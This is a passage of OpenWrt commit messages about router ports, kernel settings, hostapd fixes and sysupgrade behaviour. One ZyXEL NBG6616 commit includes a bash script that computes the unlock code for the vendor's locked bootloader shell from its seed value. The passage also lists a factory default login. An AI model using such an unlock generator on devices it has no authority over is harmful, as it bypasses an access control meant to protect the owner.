setenv boot_openwrt bootm 0x9F120000
After that overwrite the bootcmd and save the environment:
setenv bootcmd run boot_openwrt
saveenv
After that you can flash the openwrt factory image via TFTP. The servers
IP has to be 192.168.1.33. Connect to one of the LAN ports and hold the
WPS Button while booting. After a few seconds the NBG6616 will look for
a image file called 'ras.bin' and flash it.
Return to vendor firmware is possible by resetting the bootcmd:
setenv bootcmd run boot_flash
saveenv
and flashing the vendor image via the TFTP method as described above.
Accessing the U-Boot Shell:
ZyXEL uses a proprietary loader/shell on top of u-boot: "ZyXEL zloader v2.02"
When the device is starting up, the user can enter the the loader shell
by simply pressing a key within the 3 seconds once the following string
appears on the serial console:
| Hit any key to stop autoboot: 3
The user is then dropped to a locked shell.
| NBG6616> ?
| ATEN x,(y) set BootExtension Debug Flag (y=password)
| ATSE x show the seed of password generator
| ATSH dump manufacturer related data in ROM
| ATRT (x,y,z,u) ATRT RAM read/write test (x=level, y=start addr, z=end addr, u=iterations
| ATGO boot up whole system
| ATUR x upgrade RAS image (filename)
In order to escape/unlock a password challenge has to be passed.
Note: the value is dynamic! you have to calculate your own!
First use ATSE $MODELNAME (MODELNAME is the hostname in u-boot env)
to get the challange value/seed.
| NBG6616> ATSE NBG6616
| 00C91D7EAC3C
This seed/value can be converted to the password with the help of this
bash script (Thanks to http://www.adslayuda.com/Zyxel650-9.html authors):
- tool.sh -
ror32() {
echo $(( ($1 >> $2) | (($1 << (32 - $2) & (2**32-1)) ) ))
}
v="0x$1"
a="0x${v:2:6}"
b=$(( $a + 0x10F0A563))
c=$(( 0x${v:12:14} & 7 ))
p=$(( $(ror32 $b $c) ^ $a ))
printf "ATEN 1,%X\n" $p
- end of tool.sh -
| # bash ./tool.sh 00C91D7EAC3C
| ATEN 1,10FDFF5
Copy and paste the result into the shell to unlock zloader.
| NBG6616> ATEN 1,10FDFF5
If the entered code was correct the shell will change to
use the ATGU command to enter the real u-boot shell.
| NBG6616> ATGU
| NBG6616#
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[move keys to DTSI, adjust usb_power DT label, remove kernel config
change, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A bunch of kernel modules depends on kmod-usb-net, but does not
select it. Make AddDepends/usb-net selective, so we can drop
some redundant +kmod-usb-net definitions for DEVICE_PACKAGES.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
SPI Flash chip supports up to 33 MHz wihout fast read opcode.
Available frequencies are 112.5, 56.25, 37.5, 28.125, 22.5 etc.
This patch increases the nominal maximum frequency to 33 MHz,
reaching an effective increase from 22.5 to 28.125 MHz.
Formula to calculate SPI frequency:
Freq = 225 MHz / 2 / div
Before:
$ time dd if=/dev/mtd1 of=/dev/null bs=8M
0+1 records in
0+1 records out
real 0m 3.58s
user 0m 0.00s
sys 0m 3.57s
After:
$ time dd if=/dev/mtd1 of=/dev/null bs=8M
0+1 records in
0+1 records out
real 0m 2.95s
user 0m 0.00s
sys 0m 2.93s
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When comparing to the port assignment in board.d/02_network, a few
devices seem to use the wrong setup of mediatek,portmap.
The corrects the values for mt76x8 subtarget based on the location
of the wan port.
A previous cleanup of obviously wrong values has already been done in
7a387bf9a0 ("ramips: mt76x8: fix bogus mediatek,portmap")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TL-WPA8630P v2 is a HomePlug AV2 compatible device with a QCA9563 SoC
and 2.4GHz and 5GHz WiFi modules.
Specifications
--------------
- QCA9563 750MHz, 2.4GHz WiFi
- QCA9888 5GHz WiFi
- 8MiB SPI Flash
- 128MiB RAM
- 3 GBit Ports (QCA8337)
- PLC (QCA7550)
MAC address assignment
----------------------
WiFi 2.4GHz and LAN share the same MAC address as printed on the label.
5GHz WiFi uses LAN-1, based on assumptions from similar devices.
LAN Port assignment
-------------------
While there are 3 physical LAN ports on the device, there will be 4
visible ports in OpenWrt. The fourth port (internal port 5) is used
by the PowerLine Communication SoC and thus treated like a regular
LAN port.
Versions
--------
Note that both TL-WPA8630 and TL-WPA8630P, as well as the different
country-versions, differ in partitioning, and therefore shouldn't be
cross-flashed.
This adds support for the two known partitioning variants of the
TL-WPA8630P, where the variants can be safely distinguished via the
tplink-safeloader SupportList. For the non-P variants (TL-WPA8630),
at least two additional partitioning schemes exist, and the same
SupportList entry can have different partitioning.
Thus, we don't support those officially (yet).
Also note that the P version for Germany (DE) requires the international
image version, but is properly protected by SupportList.
In any case, please check the OpenWrt Wiki pages for the device
before flashing anything!
Installation
------------
Installation is possible from the OEM web interface. Make sure to
install the latest OEM firmware first, so that the PLC firmware is
at the latest version. However, please also check the Wiki page
for hints according to altered partitioning between OEM firmware
revisions.
Additional thanks to Jon Davies and Joe Mullally for bringing
order into the partitioning mess.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
[minor DTS adjustments, add label-mac-device, drop chosen, move
common partitions to DTSI, rename de to int, add AU support strings,
adjust TPLINK_BOARD_ID, create common node in generic-tp-link.mk,
adjust commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds a patch to procd to support loading the SELinux
policy early at boot time, and adjusts the procd package to use this
SELinux support when libselinux is enabled.
The procd patch has been submitted separately [1]: obviously the
intent is to have it merged in the procd Git repository rather than
have it in OpenWrt itself.
[1] http://lists.infradead.org/pipermail/openwrt-devel/2019-November/025791.html
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[rebase, add commit message]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
[split commit into openwrt.git and procd.git]
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Remove `if !SMALL_FLASH` in places which are anyway already augmented
by `if !SMALL_FLASH`.
Always enable CONFIG_BLK_DEV_THROTTLING on !SMALL_FLASH devices rather
than just enabling it on bcm27xx.
Enabled CPU bandwidth provisioning for FAIR_GROUP_SCHED on !SMALL_FLASH
devices as CONFIG_FAIR_GROUP_SCHED is already enabled and becomes more
useful for cgroups with that option enbled as well.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
SELinux support requires setting the appropriate SELinux security context
to files and directories, which needs to happen at build time in order
to support read-only root filesystem scenarios. In order to create these
security contexts, we will have to run some SELinux-specific tools on
the host machine, but that requires root access. This adds support for
fakeroot, which the build process will use to run the SELinux security
context creation and the image creation.
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
Apply to current master, and adjust commit message
Thomas' original work is available at
http://lists.infradead.org/pipermail/openwrt-devel/2019-November/025976.html.
Signed-off-by: W. Michael Petullo <mike@flyn.org>
[add rules.mk FAKEROOT variable]
Signed-off-by: Paul Spooren <mail@aparcar.org>
[update, fix macos build]
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The variable in the case argument was mistyped, so the case always
checked against an empty string and never matched.
Fix the variable name. Add a PKG_RELEASE to Makefile so we can bump it.
Fixes: d6de31310c ("cmake: restore parallel build support for bootstrap")
Signed-off-by: Piotr Stefaniak <pstef@freebsd.org>
[add commit message, add PKG_RELEASE, fix commit title, add Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 685570858d.
The commit had several formal flaws, revert it and hopefully apply
it properly next time.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for ZyXEL NBG6616 uboot-env access
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[add "ar71xx" to commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As the ath79 port of this device uses a combined kernel + root
partition the uboot bootcmd variable needs to be changed. As using
cli/luci is more convenient than opening up the case and using a uart
connection, lets unlock the uboot-env partition for write access.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
The variable in the case argument was mistyped, so the case always
checked against an empty string and never matched.
Fix the variable name.
Signed-off-by: Piotr Stefaniak <pstef@freebsd.org>
[add commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
mac80211 reports a packet loss event to user space when 50 consecutive packets
were not acked. On a high throughput link with long aggregates and sudden
link changes, this can trigger way too easily.
Mitigate false positives by only triggering the event on a packet loss if
no ACK was received for at least a second
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Add a specific comment for early DSA-adopters that they can keep
their config when prompted due to compat-version increase.
This is a temporary solution, the patch should be simply reverted
before any release.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This ports support for the TL-WA901ND v3 from ar71xx to ath79.
Most of the hardware is shared with the TL-WA850/860RE v1 range
extenders. It completes the TL-WA901ND series in ath79.
Specifications:
Board: AP123 / AR9341
Flash/RAM: 4/32 MiB
CPU: 535 MHz
WiFi: 2.4 GHz b/g/n
Ethernet: 1 port (100M)
Flashing instructions:
Upload the factory image via the vendor firmware upgrade option.
This has not been tested on device, but port from ar71xx is
straightforward and the device will be disabled by default anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Replace all the custom patches with the backported upstream version
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[refresh patches]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The ath79 target has CONFIG_LEDS_GPIO=y set in kernel config, so
no need to pull the kmod-leds-gpio module for specific devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This implements the newly introduced compat-version to prevent
broken upgrade between swconfig and DSA for ramips' mt7621 subtarget.
In order to make the situation more transparent for the user, and
to prevent large switch-cases for devices, it is more convenient to
have the entire subtarget 1.1-by-default. This means that new devices
will be added with 1.1 from the start, but in contrast we don't need
to switch them in board.d files. Apart from that, users that manually
backport devices to 19.07 with swconfig will have an equivalent
upgrade experience to officially supported devices.
Since DSA support on mt7621 is out for a while already, this applies
the same uci-defaults workaround for early adopters as already
done for kirkwood and mvebu in previous commits.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It has been reported that the current message displayed during
upgrade with compat_version change is misleading for "legacy"
devices, i.e. those without the "new" fwtool. This is partially
caused by the fact that we need to exploit the supported_devices
string to get some message text displayed for these devices.
This patch modifies the message to make it more helpful and
include additional information, e.g.
Device linksys,wrt3200acm not supported by this image
Supported devices: linksys,wrt3200acm linksys-whateverelse - Image
version mismatch: image 1.1, device 1.0. Please wipe config during
upgrade (force required) or reinstall. Reason: Config cannot be
migrated from swconfig to DSA
Note that the line breaks (except the one before Supported devices)
are added manually here, I hesitate to hack \n into the
supported_devices as well. The "Reason:" will only be displayed if
DEVICE_COMPAT_MESSAGE is set for the device, otherwise
"Please check documentation ..." will be shown instead.
While at it, also rearrange the code in image-commands.mk to
make lines shorter and remove the double filter-out command.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Conceptually, the compat-version during sysupgrade is meant to
describe the config. Therefore, if somebody starts with a device on
19.07 and swconfig, and that person does a forceful upgrade into a
DSA-based firmware without wiping his/her config, then the local
compat-version should stay at 1.0 according to the config present
(and not get updated).
However, this poses a problem for those people that early-adopted
DSA in master, as they already have adjusted their config for DSA,
but it still is "1.0" as far as sysupgrade is concerned. This can
be healed by a simple
uci set system.@system[0].compat_version="1.1"
uci commit system
But this needs to be applied _after_ the upgrade (as the "old" fwtool
on the old installation does not know about compat_version) and it
requires access via SSH (i.e. no pure GUI solution is available for
this group of people, apart from wiping their config _again_ for
no technical reason). Despite, the situation will not become
obvious to those just upgrading via GUI, they will just have the
experience of a "broken upgrade".
This is a conflict which cannot be resolved by achieving both goals,
we have to decide to either keep the strict concept or improve the
situation for early adopters.
In this patch, we address the issue by providing a uci-defaults
script that will raise the compat_version for _all_ people upgrading
into a 1.1 image, no matter whether they have reset config or not.
The idea is to implement this as a _temporary_ solution, so early
adopters can upgrade into the new mechanism without issues, and
after a few weeks/months we could remove the uci-defaults script
again.
If we e.g. remove the script just before 20.xx.0-rc1, early adopters
should have moved on by then, and existing stable users would still
get the intended experience.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Conceptually, the compat-version during sysupgrade is meant to
describe the config. Therefore, if somebody starts with a device on
19.07 and swconfig, and that person does a forceful upgrade into a
DSA-based firmware without wiping his/her config, then the local
compat-version should stay at 1.0 according to the config present
(and not get updated).
However, this poses a problem for those people that early-adopted
DSA in master, as they already have adjusted their config for DSA,
but it still is "1.0" as far as sysupgrade is concerned. This can
be healed by a simple
uci set system.@system[0].compat_version="1.1"
uci commit system
But this needs to be applied _after_ the upgrade (as the "old" fwtool
on the old installation does not know about compat_version) and it
requires access via SSH (i.e. no pure GUI solution is available for
this group of people, apart from wiping their config _again_ for
no technical reason). Despite, the situation will not become
obvious to those just upgrading via GUI, they will just have the
experience of a "broken upgrade".
This is a conflict which cannot be resolved by achieving both goals,
we have to decide to either keep the strict concept or improve the
situation for early adopters.
In this patch, we address the issue by providing a uci-defaults
script that will raise the compat_version for _all_ people upgrading
into a 1.1 image, no matter whether they have reset config or not.
The idea is to implement this as a _temporary_ solution, so early
adopters can upgrade into the new mechanism without issues, and
after a few weeks/months we could remove the uci-defaults script
again.
If we e.g. remove the script just before 20.xx.0-rc1, early adopters
should have moved on by then, and existing stable users would still
get the intended experience.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The bootloader fails to extract a big kernel, e.g. v5.4 kernel image
with ALL_KMODS enabled. This can be fixed by using lzma-loader.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Currently the lzma-loader is placed in RAM at 32MB offset, which does not
make sense for devices with only 32MB RAM. If we adjust LZMA_TEXT_START to
24MB offset, then the lzma-loader can be used on those devices and still
about 24MB memory will be available for uncompressed image, which should be
enough for most use cases.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Exchange the patch fixing the kernel ringbuffer WARNING flood for the
one accepted upstream.
Fixes commit a956c14d6a ("mac80211: util: don't warn on missing sband
iftype data")
Signed-off-by: David Bauer <mail@david-bauer.net>
The hostapd configuration logic is supposed to accept "option key" as
legacy alias for "option auth_secret". This particular fallback option
failed to work though because "key" was not a registered configuration
variable.
Fix this issue by registering the "key" option as well, similar to the
existing "server" nad "port" options.
Ref: https://github.com/openwrt/openwrt/pull/3282
Suggested-by: Michael Jones <mike@meshplusplus.com>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
If an existing "wpa_psk_file" is passed to hostapd, the "key" option may
be omitted.
While we're at it, also improve the passphrase length checking to ensure
that it is either exactly 64 bytes or 8 to 63 bytes.
Fixes: FS#2689
Ref: https://github.com/openwrt/openwrt/pull/3283
Suggested-by: Michael Jones <mike@meshplusplus.com>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Add a dependency on kmod-nls-base for the new exfat driver. Otherwise
the build fails on ramips and ath79 on kernel 5.4:
Package kmod-fs-exfat is missing dependencies for the following libraries:
nls_base.ko
Fixes commit cd41234d2f ("exfat: add out of tree module")
Signed-off-by: David Bauer <mail@david-bauer.net>
The board name is equivalent to the compatible, not the device
definition. Fix it.
Fixes: b4588c8538 ("kernel/om-watchdog: Apply device renames from ramips")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The sbutarget has testing support for kernel 5.4 for quite a while
and builds fine, however, only one devices there is > 4 MiB.
Since it's unlikely to get a Tested-by for that device, and the other
ralink subtargets appear to be working with 5.4 so far, let's set
this target to 5.4 by default as well.
That way, even if the device happens to break, we'll still have at
least usable SDK and IB for people to use.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When comparing to the port assignment in board.d/02_network, many
devices seem to use the wrong setup of mediatek,portmap.
The corrects the values for mt7620 subtarget based on the location
of the wan port.
A previous cleanup of obviously wrong values has already been done in
d3c0a94405 ("ramips: mt7620/mt7621: remove invalid mediatek,portmap")
Cc: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add package which provides size optimized wpad with support for just
WPA-PSK, SAE (WPA3-Personal), 802.11r and 802.11w.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[adapt to recent changes, add dependency for WPA_WOLFSSL config]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For ramips/mt7621, the wpad-basic package is not selected by default,
but added for every device individually as needed.
While this might be technically correct if the SoC does not come with
a Wifi module, only 18 of 97 devices for that platform are set up
_without_ wpad-basic currently.
Therefore, it seems more convenient to add wpad-basic by default for
the subtarget and then just remove it for the 18 mentioned devices,
instead of having to add it for about 60 times instead.
This would also match the behavior of the 5 other subtargets, where
wpad-basic/wpad-mini is added by default as well, and thus be more
obvious to developers without detailed SoC knowledge.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When passing a section or option value to config_get() which contains
characters that happen to be valid variable interpolation expressions,
the function returns a nonsensical expression result instead of the
expected empty string.
When the passed section or option name contains other characters which
are not valid within a shell variable name, a substitution error is
occuring instead.
The issue can be easily reproduced by one of the following examples:
root@OpenWrt:~# . /lib/functions.sh
root@OpenWrt:~# config load system
root@OpenWrt:~# config_get variable invalid-section option
root@OpenWrt:~# echo "$variable"
section_option:-
root@OpenWrt:~# . /lib/functions.sh
root@OpenWrt:~# config load system
root@OpenWrt:~# config_get variable section invalid-option
root@OpenWrt:~# echo "$variable"
option:-
root@OpenWrt:~# . /lib/functions.sh
root@OpenWrt:~# config load system
root@OpenWrt:~# config_get variable section invalid@option
-ash: eval: syntax error: bad substitution
Fix this issue by only performing interpolations when the given section
and option arguments are free of illegal characters.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Before this commit, if uci option "dnssec" was set, we pass "--dnssec"
and friends to dnsmasq, let it start and decide whether to quit and
whether to emit message for diagnosis
# dnsmasq --dnssec; echo $?
dnsmasq: DNSSEC not available: set HAVE_DNSSEC in src/config.h
1
DNSSEC as a feature is different from others like dhcp, tftp in that
it's a security feature. Better be explicit. With this change
committed, we make it so by not allowing it in the first in the
initscript, should dnsmasq later decides to not quit (not likely) or
quit without above explicit error (unlikely but less so ;)
So this is just being proactive. on/off choices with uci option
"dnssec" are still available like before
Link: https://github.com/openwrt/openwrt/pull/3265#issuecomment-667795302
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
By using localtime() to determine the timestamp that goes into factory
images, the resulting image depends on the timezone of the build system.
Use gmtime() instead, which results in more reproducible images.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The target has testing support for kernel 5.4 for quite a while,
compiles fine for all devices, and has been run-tested on Asus
RT-N56U successfully.
Let's set it to kernel 5.4 by default to increase the audience
before an 20.xx stable branch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Eneas U de Queiroz <cotequeiroz@gmail.com> [Asus RT-N56U]
This allows better context for board patches and we no longer need a
downstream patch for that.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
The patch adding support for the second LED HW blinking interval has been
merged (linux 5.9).
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
47a9f0d service: add method to query available container features
afbaba9 initd: attempt to mount cgroup2
ead60fe jail: use pidns semantics also for timens
759e9f8 jail: make use of BLOBMSG_CAST_INT64 for OCI rlimits
83053b6 instance: add instances into unified cgroup hierarchy
16159bb jail: parse OCI cgroups resources
282ff0c jail: only free cgroups if they were allocated
ab55357 jail: fix freeing cgroups avl
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This patch adds support for the WNDR4300TN, marketed by Belgian ISP
Telenet. The hardware is the same as the WNDR4300 v1, without the
fifth ethernet port (WAN) and the USB port. The circuit board has
the traces, but the components are missing.
Specifications:
* SoC: Atheros AR9344
* RAM: 128 MB
* Flash: 128 MB NAND flash
* WiFi: Atheros AR9580 (5 GHz) and AR9344 (2.4 GHz)
* Ethernet: 4x 1000Base-T
* LED: Power, LAN, WiFi 2.4GHz, WiFi 5GHz, WPS
* UART: on board, to the right of the RF shield at the top of the board
Installation:
* Flashing through the OEM web interface:
+ Connect your computer to the router with an ethernet cable and browse
to http://192.168.0.51/
+ Log in with the default credentials are admin:password
+ Browse to Advanced > Administration > Firmware Upgrade in the Telenet
interface
+ Upload the Openwrt firmware: openwrt-ath79-nand-netgear_wndr4300tn-squashfs-factory.img
+ Proceed with the firmware installation and give the device a few
minutes to finish and reboot.
* Flashing through TFTP:
+ Configure your wired client with a static IP in the 192.168.1.x range,
e.g. 192.168.1.10 and netmask 255.255.255.0.
+ Power off the router.
+ Press and hold the RESET button (the factory reset button on the bottom
of the device, with the gray circle around it, next to the Telenet logo)
and turn the router on while keeping the button pressed.
+ The power LED will start flashing orange. You can release the button
once it switches to flashing green.
+ Transfer the image over TFTP:
$ tftp 192.168.1.1 -m binary -c put openwrt-ath79-nand-netgear_wndr4300tn-squashfs-factory.img
Signed-off-by: Davy Hollevoet <github@natox.be>
[use DT label reference for adding LEDs in DTSI files]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specification:
- CPU: MediaTek MT7620N (580 MHz)
- Flash size: 4 MB NOR SPI
- RAM size: 32 MB DDR1
- Bootloader: U-Boot
- Wireless: MT7620N 2x2 MIMO 802.11b/g/n (2.4 GHz)
- Switch: MT7620 built-in 10/100 switch with vlan support
- Ports: 4x LAN, 1x WAN
- Others: 7x LED, Reset button, UART header on PCB (57600 8N1)
Flash instructions:
1. Use ethernet cable to connect router with PC/Laptop, any router
LAN port will work.
2. To flash openwrt we are using nmrpflash[1].
3. Flash commands:
First we need to identify the correct Ethernet id.
nmrpflash -L
nmrpflash -i net* -f openwrt-ramips-mt7620-netgear_jwnr2010-v5-squashfs-factory.img
This will show something like "Advertising NMRP server on net*..." (net*, *=1,2,3... etc.)
4. Now remove the power cable from router back side and immediately connect it again.
You will see flash notification in CMD window, once it says reboot the device just
plug off the router and plug in again.
Revert to stock:
1. Download the stock firmware from official netgear support[2].
2. Follow the same nmrpflash procedure like above, this time just use the stock firmware.
nmrpflash -i net* -f N300-V1.1.0.54_1.0.1.img
MAC addresses on stock firmware:
LAN = *:28 (label)
WAN = *:29
WLAN = *:28
On flash, the only valid MAC address is found in factory 0x4.
Special Note:
This openwrt firmware will also support other netgear N300 routers like below as they
share same stock firmware[3].
JNR1010v2 / WNR614 / WNR618 / JWNR2000v5 / WNR2020 / WNR1000v4 / WNR2020v2 / WNR2050
[1] https://github.com/jclehner/nmrpflash
[2] https://www.netgear.com/support/product/JWNR2010v5.aspx
[3] http://kb.netgear.com/000059663
Signed-off-by: Shibajee Roy <ador250@protonmail.com>
[create DTSI, use netgear_sercomm_nor, disable by default, add MAC
addresses to commit message, add label MAC address]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This option was a spi nor hack which is dropped in commit bcf4a5f474
("ramips: remove chunked-io patch and set spi->max_transfer_size instead")
Most of it has already been removed in
be2b61e4f1 ("ramips: drop m25p,chunked-io from dts")
It seems all current usages were added after that. Remove them.
Cc: Chuanhong Guo <gch981213@gmail.com>
Reported-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like NAND-based devices, SPI-NOR based Netgear devices also share
a common setup for their images. This creates a common defition
for them in image/Makefile, so it can be reused across subtargets.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
47a9f0d service: add method to query available container features
afbaba9 initd: attempt to mount cgroup2
ead60fe jail: use pidns semantics also for timens
759e9f8 jail: make use of BLOBMSG_CAST_INT64 for OCI rlimits
83053b6 instance: add instances into unified cgroup hierarchy
16159bb jail: parse OCI cgroups resources
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Linkit Smart 7688 and Onion Omega 2(+) are one-port devices, and
have their port set to LAN by default. Setting up a WAN MAC address
for them doesn't make any sense, as no wan interface will be created
in uci config. Despite, these devices also set lan_mac in 02_network,
although mtd-mac-address sets a different address for the ethernet
interface in DTS.
Clean this up by moving the lan_mac value into DTS and dropping the
entries in 02_network completely. That way, the effective address
on the LAN interface should stay the same, but we get rid of the
extra (re)assignments.
As I don't have access to the devices, this does not tell anything
about whether 0x2e is actually a good choice, it just preserves
the existing assignment.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WIZnet WizFi630s has three mac addresses in the factory partition:
0x04 (also on the label), 0x28 for wan mac and 0x2e as lan mac.
All three macadresses are sequential series of addresses.
This is making use of them.
While at it, also add the label MAC address to 02_network.
MAC addresses as verified by OEM firmware:
use interface source
WLAN ra0 factory 0x04 (label)
WAN eth0.2 factory 0x28 (label + 1)
LAN eth0.1 factory 0x2e (label + 2)
Signed-off-by: Tobias Welz <tw@wiznet.eu>
[fix sorting in 02_network, commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WizFi630S had some pins changed in the release version of the board.
The run led, wps button and a slide switch where affected.
This patch is correcting this.
i2c is removed as it is sharing a pin with the run (system) led.
uart2 is enabled as it is also enabled in the OEM firmware.
Signed-off-by: Tobias Welz <tw@wiznet.eu>
Refresh config with make kernel_oldconfig.
After d1a8217d87 ("kernel: clean-up build-configurable kernel
config symbols"), the routine wants to add an additional
CONFIG_CGROUPS (=n), which has been removed manually again, as
this seems unintended.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remapping the local build path in debug information makes debugging
using ./scripts/remote-gdb harder, because files no longer refer to the full
path on the build host.
For local builds, debug information does not need to be reproducible,
since it will be stripped out of packages anyway.
For buildbot builds, it makes sense to keep debug information reproducible,
since the full path is not needed (nor desired) anywhere.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Testmode commands are typically only used for manufacturing or vendor specific
debugging features, so they should not be in the default image
Signed-off-by: Felix Fietkau <nbd@nbd.name>
With the introduction of the generic OpenVPN hotplug mechanism, wrapped
--up and --down scripts got the wrong amount and order of arguments passed,
breaking existing configurations and functionality.
Fix this issue by passing the same amount of arguments in the same expected
order as if the scripts were executed by the OpenVPN daemon directly.
Ref: https://github.com/openwrt/openwrt/pull/1596#issuecomment-668935156
Fixes: 8fe9940db6 ("openvpn: add generic hotplug mechanism")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This package provides the necessary files to translate `config dsa_vlan`
and `config dsa_port` sections of `/etc/config/network` into appropriate
bridge vlan filter rules.
The approach of the configuration is to bridge all DSA ports into a logical
bridge device, called "switch0" by default, and to set VLAN port membership,
tagging state and PVID as specified by UCI on each port and on the switch
bridge device itself, allowing logical interfaces to reference port VLAN
groups by using "switch0.N" as ifname, where N denotes the VLAN ID.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
RT3x5x seems to work fine with kernel 5.4. Set the default kernel
version to 5.4 to bring this to a broader audience.
Since 4 of 6 targets are on kernel 5.4 now, invert the kernel
version setup logic in Makefile/target.mk files.
Tested on ZyXEL Keenetic.
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
[invert version setup logic]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WIZnet WizFi630s board name is written slightly different it its OEM
OpenWrt firmware. This causes an incompatibility warning during flashing
with sysupgrade. This patch is adding the vendor board name to the
supported devices list to avoid this warning. For initial flashing you
can use sysupgrade via command line or luci beside of TFTP.
Do not keep the OEM configuration during sysupgrade.
Signed-off-by: Tobias Welz <tw@wiznet.eu>
This uses upstream qcom-ipq8064-v1.0.dtsi and modifies it by patches
instead of keeping a local version. As a consequence:
- we use a part of the shared definitions there and update device
DTS files accordingly
- we move additional stuff from our local v1.0.dtsi to the patch
- we drop partitions, LEDs and keys from the file as we will
implement them differently anyway
Like with the previous patch, this follows the idea that a diff
from upstream might be easier to handle than a big file of our
own with different distribution pattern of properties.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Though a qcom-ipq8064.dtsi file exists upstream, we still do overwrite
it with a full version of our own in the ipq806x target. About half of
the contents of our file are upstream content, the other half are local
improvements.
To prevent us from having a lot of code maintained twice in parallel,
this adjusts the target to use the upstream qcom-ipq8064.dtsi. Our
local changes are arranged into three patches, the first pulling a
commit from upstream, the second doing a few small adjustments, and
the third adding all additional stuff.
This should get us the best of both worlds.
The property "ports-implemented" on sata@29000000 is moved to
2nd-level DTSI files as kernel defines it there as well.
While at, rename 080-ARM-dts-qcom-add-gpio-ranges-property.patch to
include the kernel version where it's added upstream.
Even though this might look more complicated in the first place,
the aim is to bring our files closer to upstream, so we can benefit
from changes directly and vice-versa. After all, this drop about
650 lines just copied from the upstream DTSI file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
212f836 ubus: rename JSON-RPC format related functions
628341f ubus: use local "blob_buf" in uh_ubus_handle_request_object()
9d663e7 ubus: use BLOBMSG_TYPE_UNSPEC for "params" JSON attribute
77d345e ubus: drop unused "obj" arguments
8d9e1fc ubus: parse "call" method params only for relevant call
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
WIZnet WizFi630S is using only 3 of the phy ports. The unused phy ports
draw unnecessarily power. This is disabling the unused phy ports.
Signed-off-by: Tobias Welz <tw@wiznet.eu>
That file was added accidentally in v3 of the patch and I haven't
properly reviewed that patch before pushing it.
Fixes: 656b562aff ("scripts: Add Buildbot dump-target-info.pl script")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This enables Random Number Generator support on Northstar (described in
DT with brcm,bcm5301x-rng).
It's also a workaround for OpenWrt bug with kernel config causing:
Broadcom BCM2835/BCM63xx Random Number Generator support (HW_RANDOM_BCM2835) [Y/n/m/?] (NEW)
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
The script comes from buildbot.git[0] and is used to print available
targets and architectures, which are then build.
As the buildbot clones openwrt.git anyway, the script might as well live
here to be used for other cases as well, e.g. determining what
